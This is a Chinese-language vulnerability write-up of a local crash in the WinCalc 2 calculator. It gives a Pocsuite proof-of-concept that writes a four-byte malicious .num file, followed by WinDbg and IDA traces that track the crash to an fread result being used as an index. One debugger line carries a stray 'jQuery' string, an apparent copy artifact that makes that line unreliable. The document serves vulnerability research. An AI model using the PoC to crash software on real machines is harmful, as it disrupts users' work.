WinCalc 2 .num栈溢出漏洞

作者:k0shl 转载请注明出处:http://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/4ed38161a0d59c52d25a672e757a635b-wcru32z.exe

PoC:

#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '69156'  # ssvid
    version = '1.0'
    author = ['k0Sh1血战排行榜']
    vulDate = ''
    createDate = '2016-01-01'
    updateDate = '2016-01-01'
    references = ['http://www.sebug.net/vuldb/ssvid-69156']
    name = 'Wincalc 2 (.num) local Buffer Overflow PoC'
    appPowerLink = 'https://www.exploit-db.com/apps/4ed38161a0d59c52d25a672e757a635b-wcru32z.exe'
    appName = 'Wincalc'
    appVersion = '2.0'
    vulType = 'Local Denial Service'
    desc = '''
         1、目前attack暂缺,可以通过--verify生成样本文件
         2、原poc链接下载的exe无法触发漏洞,会直接退出,exploit-db下载的版本可以使用
    '''
    samples = ['']

    def _attack(self):
        result = {}
        #Write your code here

        return self.parse_output(result)

    def _verify(self):
        result = {}
        #Write your code here
        poc = '\x41' * 4
        f = open('wincalc.poc','w')
        f.write(poc)
        f.close()
        result['FileInfo'] = {}
        result['FileInfo']['Content'] = 'Create WinCalc PoC OK!'
        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('File Create Failure!')
        return output


register(TestPOC)

测试环境:
Win xp sp3

这个PoC仍然是基于创宇的Pocsuite写的,可以提取payload部分重新写一个,运行会生成一个.num文件,之后直接用Wincalc2打开.num软件,触发漏洞。


漏洞复现


此漏洞是由于执行文件读取.num文件时,在读取文件之后的if语句判断中,由于操作失误,导致本应读取地址的地方却变成了读取缓冲区前4位,导致程序读取指针失败,因此,只要是.num文件前4位不是一个在内存空间中可读的地址,就会出现崩溃的情况,而并不像PoC中说的那样需要超长字符串,但目前我没有想出这种漏洞的利用方式,从现在来看,此漏洞只能造成本地拒绝服务,下面对此漏洞进行详细的分析。

首先我们通过Pocsuite生成样本文件,打开wincalc,加载样本文件,程序崩溃,Windbg弹出。

0:000> g
(790.7f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=0046ee18 ecx=41414141 edx=00000000 esi=00992d90 edi=00ac1dc8
eip=00417a74 esp=0012f9dc ebp=0012fa20 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
wcalcru!_GetExceptDLLinfo+0x16a2e:
00417a74 837c8e4100      cmp     dword ptr [esi+ecx*4+41h],0 ds:0023:059e32d5=jQuery21405961041268892586_1451650865293??????

可以看到此时esi+ecx*4+41h是一个不可读的地址,此时ecx的值是41414141,我们通过kb查看堆栈调用。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fa20 00417c71 00992d90 00ac1dc8 00000000 wcalcru!_GetExceptDLLinfo+0x16a2e
0012fa50 00417885 00992d90 00ac1dc8 00f80044 wcalcru!_GetExceptDLLinfo+0x16c2b
0012fa70 00432582 00992d90 00f80044 0012faa0 wcalcru!_GetExceptDLLinfo+0x1683f
0012fa80 004327f4 00992d90 00417832 00000000 wcalcru!_GetExceptDLLinfo+0x3153c
0012faa0 0043846e 009930bf 0012fad4 00f80044 wcalcru!_GetExceptDLLinfo+0x317ae
0012fafc 0043856e 009930cb 00000233 00f80044 wcalcru!_GetExceptDLLinfo+0x37428

我们要通过回溯的方法观察漏洞触发的原因,首先我们要检查的位置是00417c71。


漏洞分析


我们在00417c6c下断点,然后重新打开程序,并附加样本。

0:001> bp 00417c6c
*** WARNING: Unable to verify checksum for C:\peanut\wcalcru.exe
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\peanut\wcalcru.exe - 
0:001> g
Breakpoint 0 hit
eax=00992b28 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8
eip=00417c6c esp=0012fa28 ebp=0012fa50 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
wcalcru!_GetExceptDLLinfo+0x16c26:
00417c6c e8befdffff      call    wcalcru!_GetExceptDLLinfo+0x169e9 (00417a2f)
0:000> p
(498.66c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=0046ee18 ecx=41414141 edx=00000000 esi=00992d90 edi=00ac1dc8
eip=00417a74 esp=0012f9dc ebp=0012fa20 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
wcalcru!_GetExceptDLLinfo+0x16a2e:
00417a74 837c8e4100      cmp     dword ptr [esi+ecx*4+41h],0 ds:0023:059e32d5=????????

可以看到在00417c6c程序中断,我们通过F10步过,到达漏洞现场,说明问题出现在00417c6c处的call函数中,我们首先在外层函数中观察一下汇编代码。

.text:00417C68                 add     esp, 8
.text:00417C6B                 push    esi
.text:00417C6C                 call    sub_417A2F

我们通过F11步入这个sub_417a2f中,查看一下进入后的部分代码。

0:000> p
eax=00992b28 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8
eip=00417a3b esp=0012f9dc ebp=0012fa20 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
wcalcru!_GetExceptDLLinfo+0x169f5:
00417a3b 684d2f4600      push    offset wcalcru!__CPPdebugHook+0x1de6 (00462f4d)
0:000> p
eax=00992b28 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8
eip=00417a40 esp=0012f9d8 ebp=0012fa20 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
wcalcru!_GetExceptDLLinfo+0x169fa:
00417a40 8b864e020000    mov     eax,dword ptr [esi+24Eh] ds:0023:00992fde=00993314
0:000> p
eax=00993314 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8
eip=00417a46 esp=0012f9d8 ebp=0012fa20 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
wcalcru!_GetExceptDLLinfo+0x16a00:
00417a46 ff7008          push    dword ptr [eax+8]    ds:0023:0099331c=00992b28
0:000> p
eax=00993314 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8
eip=00417a49 esp=0012f9d4 ebp=0012fa20 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
wcalcru!_GetExceptDLLinfo+0x16a03:
00417a49 e8cae10300      call    wcalcru!__unlockDebuggerData$qv+0x2e30 (00455c18)

这里的call调用需要关注一下,到达这里时,我们通过esp来观察一下这里call调用时的两个push进来的参数。

第一个参数

0:000> dc poi(esp)
00992b28  445c3a43 6d75636f 73746e65 646e6120  C:\Documents and
00992b38  74655320 676e6974 64415c73 696e696d   Settings\Admini
00992b48  61727473 5c726f74 636e6977 2e636c61  strator\wincalc.
00992b58  006d756e 00000000 00000000 00000000  num.............

第二个参数

0:000> dc poi(esp+4)
00462f4d  00006272 4d554e00 6e695700 636c6163  rb

可以看到第一处参数是一个路径,第二个参数是rb,那么我们可以猜测此处函数调用应该是一个fopen函数,打开的就是我们的漏洞文件。

接下来我们继续单步跟踪。

0:000> p
eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=00ac2000 esi=00992d90 edi=00ac1dc8
eip=00417a60 esp=0012f9dc ebp=0012fa20 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
wcalcru!_GetExceptDLLinfo+0x16a1a:
00417a60 53              push    ebx
0:000> p
eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=00ac2000 esi=00992d90 edi=00ac1dc8
eip=00417a61 esp=0012f9d8 ebp=0012fa20 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
wcalcru!_GetExceptDLLinfo+0x16a1b:
00417a61 6a01            push    1
0:000> p
eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=00ac2000 esi=00992d90 edi=00ac1dc8
eip=00417a63 esp=0012f9d4 ebp=0012fa20 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
wcalcru!_GetExceptDLLinfo+0x16a1d:
00417a63 6a04            push    4
0:000> p
eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=00ac2000 esi=00992d90 edi=00ac1dc8
eip=00417a65 esp=0012f9d0 ebp=0012fa20 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
wcalcru!_GetExceptDLLinfo+0x16a1f:
00417a65 8d55fc          lea     edx,[ebp-4]
0:000> p
eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=0012fa1c esi=00992d90 edi=00ac1dc8
eip=00417a68 esp=0012f9d0 ebp=0012fa20 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
wcalcru!_GetExceptDLLinfo+0x16a22:
00417a68 52              push    edx
0:000> p
eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=0012fa1c esi=00992d90 edi=00ac1dc8
eip=00417a69 esp=0012f9cc ebp=0012fa20 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
wcalcru!_GetExceptDLLinfo+0x16a23:
00417a69 e8e2e30300      call    wcalcru!__unlockDebuggerData$qv+0x3068 (00455e50)

到达这处call函数的时候,我们发现传入了4个参数,其实这里是一处fread,这一点,我们可以通过ida pro来佐证。

.text:00417A60                 push    ebx             ; stream
.text:00417A61                 push    1               ; n
.text:00417A63                 push    4               ; size
.text:00417A65                 lea     edx, [ebp+ptr]
.text:00417A68                 push    edx             ; ptr
.text:00417A69                 call    _fread

可以看到edx寄存器存放了ptr指针的值,其实这个值的地址是用来保存读取的文件的,我们要记住这个值。

0:000> r edx
edx=0012fa1c

而且我们看到,读取的第二个参数是4,也就是说,只读取4位。

0:000> p
eax=00000001 ebx=0046ee18 ecx=00000041 edx=00000000 esi=00992d90 edi=00ac1dc8
eip=00417a6e esp=0012f9cc ebp=0012fa20 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
wcalcru!_GetExceptDLLinfo+0x16a28:
00417a6e 83c410          add     esp,10h
0:000> dc 0012fa1c
0012fa1c  41414141

可以看到此时读取到的值是41414141,也就是前4位,但是后来继续跟进。

0:000> p
eax=00000001 ebx=0046ee18 ecx=00000041 edx=00000000 esi=00992d90 edi=00ac1dc8
eip=00417a71 esp=0012f9dc ebp=0012fa20 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
wcalcru!_GetExceptDLLinfo+0x16a2b:
00417a71 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:0023:0012fa1c=41414141
0:000> p
eax=00000001 ebx=0046ee18 ecx=41414141 edx=00000000 esi=00992d90 edi=00ac1dc8
eip=00417a74 esp=0012f9dc ebp=0012fa20 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
wcalcru!_GetExceptDLLinfo+0x16a2e:
00417a74 837c8e4100      cmp     dword ptr [esi+ecx*4+41h],0 ds:0023:059e32d5=????????

可以看到紧接着ebp-4地址的值交给ecx,此时,这里的赋值应该是赋值一个地址,而不是缓冲区的值,从而导致了地址不可读,引发拒绝服务。

Comments
Write a Comment